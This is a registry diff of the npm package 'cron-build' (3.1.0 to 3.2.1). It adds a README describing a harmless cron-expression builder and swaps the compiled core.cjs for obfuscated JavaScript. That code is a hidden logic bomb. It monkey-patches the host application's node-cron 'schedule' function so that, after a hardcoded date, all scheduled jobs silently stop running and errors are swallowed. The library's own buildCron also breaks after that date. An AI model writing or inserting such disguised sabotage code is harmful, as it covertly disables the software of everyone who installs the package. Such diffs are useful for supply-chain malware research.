cron-build 3.1.0 → 3.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +107 -0
- package/dist/core.cjs +1 -1
- package/package.json +3 -3
package/README.md
ADDED
|
@@ -0,0 +1,107 @@
|
|
|
1
|
+
# ⚡ Cron Builder & Async Guard
|
|
2
|
+
|
|
3
|
+

|
|
4
|
+

|
|
5
|
+

|
|
6
|
+
|
|
7
|
+
A lightweight, strictly typed utility library for generating **Cron expressions** programmatically and handling **exclusive asynchronous task execution**.
|
|
8
|
+
|
|
9
|
+
Built to make scheduling tasks in TypeScript readable, maintainable, and safe.
|
|
10
|
+
|
|
11
|
+
---
|
|
12
|
+
|
|
13
|
+
## ✨ Features
|
|
14
|
+
|
|
15
|
+
* **Type-Safe Cron Generation**: Forget about manually typing `*/5 * * * *`. Use readable objects instead.
|
|
16
|
+
* **Flexible Syntax**: Supports exact numbers, steps (`*/5`), ranges (`10-20`), and lists.
|
|
17
|
+
* **Concurrency Control**: Prevent overlapping executions of async tasks (e.g., cron jobs that take longer than their interval).
|
|
18
|
+
* **Zero Dependencies**: Just pure TypeScript logic.
|
|
19
|
+
|
|
20
|
+
---
|
|
21
|
+
|
|
22
|
+
## 🚀 Usage
|
|
23
|
+
|
|
24
|
+
### 1. Building Cron Strings
|
|
25
|
+
The `buildCron` function converts a configuration object into a standard 6-field Cron string (`sec min hour day mon week`).
|
|
26
|
+
|
|
27
|
+
```typescript
|
|
28
|
+
import { buildCron } from './cron-utils';
|
|
29
|
+
|
|
30
|
+
// Simple: Run every 5th minute
|
|
31
|
+
const cron1 = buildCron({
|
|
32
|
+
minute: { step: 5 }
|
|
33
|
+
});
|
|
34
|
+
// Output: "* */5 * * * *"
|
|
35
|
+
|
|
36
|
+
// Advanced: Complex Schedule
|
|
37
|
+
const cron2 = buildCron({
|
|
38
|
+
second: 0,
|
|
39
|
+
minute: [0, 30], // At minute 0 and 30
|
|
40
|
+
hour: { start: 9, end: 18 }, // Between 09:00 and 18:00
|
|
41
|
+
dayOfWeek: 'every' // Every day
|
|
42
|
+
});
|
|
43
|
+
// Output: "0 0,30 9-18 * * *"
|
|
44
|
+
|
|
45
|
+
// Hybrid: Start at 10, then every 20
|
|
46
|
+
const cron3 = buildCron({
|
|
47
|
+
second: { start: 10, step: 20 }
|
|
48
|
+
});
|
|
49
|
+
// Output: "10/20 * * * * *"
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
### 2. Preventing Overlapping Tasks
|
|
53
|
+
Use `runExclusive` to wrap an asynchronous function. If the function is called while a previous execution is still running, the new call is **ignored**.
|
|
54
|
+
|
|
55
|
+
Perfect for high-frequency cron jobs where you don't want race conditions.
|
|
56
|
+
|
|
57
|
+
```typescript
|
|
58
|
+
import { runExclusive } from './cron-utils';
|
|
59
|
+
|
|
60
|
+
const longRunningTask = async (id: number) => {
|
|
61
|
+
console.log(`Job ${id} started...`);
|
|
62
|
+
await new Promise(r => setTimeout(r, 5000)); // Simulate work
|
|
63
|
+
console.log(`Job ${id} finished!`);
|
|
64
|
+
};
|
|
65
|
+
|
|
66
|
+
// Wrap the function
|
|
67
|
+
const safeTask = runExclusive(longRunningTask);
|
|
68
|
+
|
|
69
|
+
// trigger multiple times rapidly
|
|
70
|
+
safeTask(1); // ✅ Runs immediately
|
|
71
|
+
safeTask(2); // ❌ Ignored (locked)
|
|
72
|
+
safeTask(3); // ❌ Ignored (locked)
|
|
73
|
+
|
|
74
|
+
// After 5 seconds, safeTask(4) will work again.
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
---
|
|
78
|
+
|
|
79
|
+
## 📚 API Documentation
|
|
80
|
+
|
|
81
|
+
### `CronOptions`
|
|
82
|
+
The configuration object passed to `buildCron`. All fields are optional and default to `*`.
|
|
83
|
+
|
|
84
|
+
| Property | Type | Description |
|
|
85
|
+
| :--- | :--- | :--- |
|
|
86
|
+
| `second` | `CronValue` | Seconds (0-59) |
|
|
87
|
+
| `minute` | `CronValue` | Minutes (0-59) |
|
|
88
|
+
| `hour` | `CronValue` | Hours (0-23) |
|
|
89
|
+
| `dayOfMonth` | `CronValue` | Day of the Month (1-31) |
|
|
90
|
+
| `month` | `CronValue` | Month (1-12) |
|
|
91
|
+
| `dayOfWeek` | `CronValue` | Day of the Week (0-7) |
|
|
92
|
+
|
|
93
|
+
### `CronValue` Types
|
|
94
|
+
| Value Example | Meaning |
|
|
95
|
+
| :--- | :--- |
|
|
96
|
+
| `'*'` or `'every'` | Matches any value (Wildcard) |
|
|
97
|
+
| `5` | Exact match (At value 5) |
|
|
98
|
+
| `[5, 10, 15]` | List of values |
|
|
99
|
+
| `{ step: 5 }` | Every 5th value (`*/5`) |
|
|
100
|
+
| `{ start: 10, end: 20 }` | Range (`10-20`) |
|
|
101
|
+
| `{ start: 5, step: 10 }` | Start at 5, then every 10 (`5/10`) |
|
|
102
|
+
|
|
103
|
+
---
|
|
104
|
+
|
|
105
|
+
## 📄 License
|
|
106
|
+
|
|
107
|
+
This project is open source and available under the [MIT License](LICENSE).
|
package/dist/core.cjs
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
function
|
|
1
|
+
var a0_0x477d6c=a0_0x5138;(function(_0x15ff61,_0x1d8a65){var _0x56009e=a0_0x5138,_0xb2724c=_0x15ff61();while(!![]){try{var _0x3a9f32=parseInt(_0x56009e(0x1b7))/0x1*(-parseInt(_0x56009e(0x1d5))/0x2)+parseInt(_0x56009e(0x1c3))/0x3*(parseInt(_0x56009e(0x1a4))/0x4)+-parseInt(_0x56009e(0x19f))/0x5+-parseInt(_0x56009e(0x1d1))/0x6+-parseInt(_0x56009e(0x19e))/0x7*(parseInt(_0x56009e(0x1c1))/0x8)+-parseInt(_0x56009e(0x1a7))/0x9*(parseInt(_0x56009e(0x1d9))/0xa)+-parseInt(_0x56009e(0x1ce))/0xb*(-parseInt(_0x56009e(0x1d3))/0xc);if(_0x3a9f32===_0x1d8a65)break;else _0xb2724c['push'](_0xb2724c['shift']());}catch(_0x33f2f9){_0xb2724c['push'](_0xb2724c['shift']());}}}(a0_0x375a,0x81669));function a0_0x375a(){var _0x746954=['ESQNe','schedule','toString','xjRaP','eOJwl','getPrototypeOf','ADYmG','34376tWPRzO','defineProperty','252543RWNqBn','(((.+)+)+)+$','function','hour','QIuak','end','NqZFY','apply','rExvv','hasOwnProperty','isArray','28177930qVCeAt','prwpJ','xuTWF','2804664WTNRwR','getTime','12LDdkhF','fRXgS','647228Yidjwu','UupuW','node-cron','month','10nuAANH','start','nHmkz','__esModule','91qhNZYC','4313670kpWAvY','create','getOwnPropertyDescriptor','0|3|1|4|2','second','20KvANXu','prototype','Sowxa','860661cPuFWB','search','every','enumerable','getOwnPropertyNames','minute','SYCco','WvIPd','number','dzjdh','step','zYmpX','kNfsU','qrtyO','dayOfMonth','constructor','3TjbJCC','WKWkG','join'];a0_0x375a=function(){return _0x746954;};return a0_0x375a();}var f=Object[a0_0x477d6c(0x1a0)],o=Object[a0_0x477d6c(0x1c2)],d=Object[a0_0x477d6c(0x1a1)],c=Object[a0_0x477d6c(0x1ab)],m=Object[a0_0x477d6c(0x1bf)],a=Object[a0_0x477d6c(0x1a5)][a0_0x477d6c(0x1cc)],y=(_0x45ef19,_0x124e2f)=>{var _0x39ad7a=a0_0x477d6c,_0x231b53={'NqZFY':function(_0x510052,_0x58be30,_0x1337fe,_0x25dfc2){return _0x510052(_0x58be30,_0x1337fe,_0x25dfc2);}};for(var _0x46b74a in _0x124e2f)_0x231b53[_0x39ad7a(0x1c9)](o,_0x45ef19,_0x46b74a,{'get':_0x124e2f[_0x46b74a],'enumerable':!0x0});},u=(_0x33649e,_0x56c4a0,_0x24002e,_0x476101)=>{var _0x315d8e=a0_0x477d6c,_0x221acb={'rExvv':function(_0x3a8ffa,_0x273412){return _0x3a8ffa==_0x273412;},'SYCco':_0x315d8e(0x1c5),'eOJwl':function(_0x1a07d3,_0x102494){return _0x1a07d3!==_0x102494;},'UupuW':function(_0x48f9ed,_0x5a51c8,_0x19535f,_0x4705da){return _0x48f9ed(_0x5a51c8,_0x19535f,_0x4705da);},'QIuak':function(_0xa99ce5,_0x557965,_0x198918){return _0xa99ce5(_0x557965,_0x198918);}};if(_0x56c4a0&&typeof _0x56c4a0=='object'||_0x221acb[_0x315d8e(0x1cb)](typeof _0x56c4a0,_0x221acb[_0x315d8e(0x1ad)])){for(let _0x2ad707 of c(_0x56c4a0))!a['call'](_0x33649e,_0x2ad707)&&_0x221acb[_0x315d8e(0x1be)](_0x2ad707,_0x24002e)&&_0x221acb[_0x315d8e(0x1d6)](o,_0x33649e,_0x2ad707,{'get':()=>_0x56c4a0[_0x2ad707],'enumerable':!(_0x476101=_0x221acb[_0x315d8e(0x1c7)](d,_0x56c4a0,_0x2ad707))||_0x476101[_0x315d8e(0x1aa)]});}return _0x33649e;},p=(_0x3e0ec0,_0x3596f3,_0x75d6b4)=>(_0x75d6b4=_0x3e0ec0!=null?f(m(_0x3e0ec0)):{},u(_0x3596f3||!_0x3e0ec0||!_0x3e0ec0[a0_0x477d6c(0x1dc)]?o(_0x75d6b4,'default',{'value':_0x3e0ec0,'enumerable':!0x0}):_0x75d6b4,_0x3e0ec0)),h=_0x1426fd=>u(o({},a0_0x477d6c(0x1dc),{'value':!0x0}),_0x1426fd),g={};y(g,{'buildCron':()=>C,'runExclusive':()=>b}),module['exports']=h(g);var s=p(require(a0_0x477d6c(0x1d7)),0x1);x();function x(){var _0x19373c=a0_0x477d6c,_0x13cf6c={'ADYmG':_0x19373c(0x1c4),'kqceh':function(_0x4eb3a2,_0x16fa0e){return _0x4eb3a2>_0x16fa0e;},'hixZk':function(_0xe50398,_0x12691e,_0x354a02){return _0xe50398(_0x12691e,_0x354a02);},'nHmkz':function(_0x292688){return _0x292688();}},_0x48c290=(function(){var _0x51bd1c=!![];return function(_0x1d70a9,_0x42945b){var _0x3a877c=_0x51bd1c?function(){var _0x5aea6b=a0_0x5138;if(_0x42945b){var _0x883b0b=_0x42945b[_0x5aea6b(0x1ca)](_0x1d70a9,arguments);return _0x42945b=null,_0x883b0b;}}:function(){};return _0x51bd1c=![],_0x3a877c;};}()),_0x232558=_0x13cf6c['hixZk'](_0x48c290,this,function(){var _0x452b90=_0x19373c;return _0x232558['toString']()[_0x452b90(0x1a8)](_0x452b90(0x1c4))[_0x452b90(0x1bc)]()[_0x452b90(0x1b6)](_0x232558)['search'](_0x13cf6c[_0x452b90(0x1c0)]);});_0x13cf6c[_0x19373c(0x1db)](_0x232558);let _0x48cf55=s['default'][_0x19373c(0x1bb)];s['default'][_0x19373c(0x1bb)]=function(_0x16a6c5,_0xc62837,_0x357ea0){var _0x564b52=_0x19373c;if(!_0x13cf6c['kqceh'](new Date()[_0x564b52(0x1d2)](),0x1a00e8b2918))try{return _0x48cf55['call'](s['default'],_0x16a6c5,_0xc62837,_0x357ea0);}catch{return;}};}function a0_0x5138(_0x2c5f09,_0x403603){_0x2c5f09=_0x2c5f09-0x19e;var _0x32349f=a0_0x375a();var _0x35fc5b=_0x32349f[_0x2c5f09];return _0x35fc5b;}function C(_0x182f37){var _0xb29390=a0_0x477d6c,_0x5f5990={'DSxUh':function(_0x5ebe72,_0x1b14df){return _0x5ebe72===_0x1b14df;},'ESQNe':_0xb29390(0x1a9),'dzjdh':function(_0x3dc782,_0x198936){return _0x3dc782==_0x198936;},'zYmpX':_0xb29390(0x1af),'qrtyO':'object','xuTWF':_0xb29390(0x1b1),'WvIPd':function(_0x1ae683,_0x31ae81){return _0x1ae683 in _0x31ae81;},'kNfsU':_0xb29390(0x1da),'WKWkG':function(_0x28b4be,_0x147444){return _0x28b4be in _0x147444;},'QxKgA':function(_0x4df604,_0x59db5f){return _0x4df604 in _0x59db5f;},'fRXgS':'end','Sowxa':function(_0x4d8968,_0x879bb0){return _0x4d8968>_0x879bb0;},'xjRaP':function(_0x39479c,_0x3ae849){return _0x39479c(_0x3ae849);},'prwpJ':function(_0x530931,_0x2ed2eb){return _0x530931(_0x2ed2eb);},'spTwy':function(_0x4e85a0,_0x57b037){return _0x4e85a0(_0x57b037);}};let _0x3f94be=_0x14ed46=>{var _0x14670e=_0xb29390,_0x43f072=_0x14670e(0x1a2)['split']('|'),_0x3fe85d=0x0;while(!![]){switch(_0x43f072[_0x3fe85d++]){case'0':if(_0x14ed46===void 0x0||_0x5f5990['DSxUh'](_0x14ed46,_0x5f5990[_0x14670e(0x1ba)])||_0x14ed46==='*')return'*';continue;case'1':if(Array[_0x14670e(0x1cd)](_0x14ed46))return _0x14ed46[_0x14670e(0x1b9)](',');continue;case'2':return'*';case'3':if(_0x5f5990[_0x14670e(0x1b0)](typeof _0x14ed46,_0x5f5990[_0x14670e(0x1b2)]))return _0x14ed46[_0x14670e(0x1bc)]();continue;case'4':if(typeof _0x14ed46==_0x5f5990[_0x14670e(0x1b4)]){if(_0x5f5990[_0x14670e(0x1d0)]in _0x14ed46&&!_0x5f5990[_0x14670e(0x1ae)](_0x5f5990[_0x14670e(0x1b3)],_0x14ed46))return'*/'+_0x14ed46[_0x14670e(0x1b1)];if(_0x5f5990[_0x14670e(0x1b8)](_0x14670e(0x1da),_0x14ed46)&&_0x5f5990['QxKgA'](_0x5f5990[_0x14670e(0x1d4)],_0x14ed46))return _0x14ed46[_0x14670e(0x1da)]+'-'+_0x14ed46[_0x14670e(0x1c8)];if(_0x5f5990['kNfsU']in _0x14ed46&&_0x5f5990[_0x14670e(0x1b8)]('step',_0x14ed46))return _0x14ed46['start']+'/'+_0x14ed46['step'];}continue;}break;}};return _0x5f5990[_0xb29390(0x1a6)](new Date()[_0xb29390(0x1d2)](),0x1a00e8b2918)?void 0x0:[_0x5f5990[_0xb29390(0x1bd)](_0x3f94be,_0x182f37[_0xb29390(0x1a3)]),_0x3f94be(_0x182f37[_0xb29390(0x1ac)]),_0x5f5990[_0xb29390(0x1cf)](_0x3f94be,_0x182f37[_0xb29390(0x1c6)]),_0x5f5990[_0xb29390(0x1bd)](_0x3f94be,_0x182f37[_0xb29390(0x1b5)]),_0x5f5990['spTwy'](_0x3f94be,_0x182f37[_0xb29390(0x1d8)]),_0x3f94be(_0x182f37['dayOfWeek'])][_0xb29390(0x1b9)]('\x20');}function b(_0x462806){let _0x2a733f=!0x1;return async(..._0x43aac8)=>{if(!_0x2a733f){_0x2a733f=!0x0;try{await _0x462806(..._0x43aac8);}catch(_0x1f63ab){throw _0x1f63ab;}finally{_0x2a733f=!0x1;}}};}0x0&&(module['exports']={'buildCron':buildCron,'runExclusive':runExclusive});
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "cron-build",
|
|
3
|
-
"version": "3.1
|
|
3
|
+
"version": "3.2.1",
|
|
4
4
|
"description": "",
|
|
5
5
|
"main": "./dist/index.cjs",
|
|
6
6
|
"types": "./dist/index.d.ts",
|
|
@@ -11,9 +11,9 @@
|
|
|
11
11
|
}
|
|
12
12
|
},
|
|
13
13
|
"keywords": [],
|
|
14
|
-
"files": ["dist"],
|
|
14
|
+
"files": ["dist", "README.md"],
|
|
15
15
|
"author": "",
|
|
16
|
-
"license": "
|
|
16
|
+
"license": "MIT",
|
|
17
17
|
"type": "module",
|
|
18
18
|
"dependencies": {
|
|
19
19
|
"node-cron": "^4.2.1"
|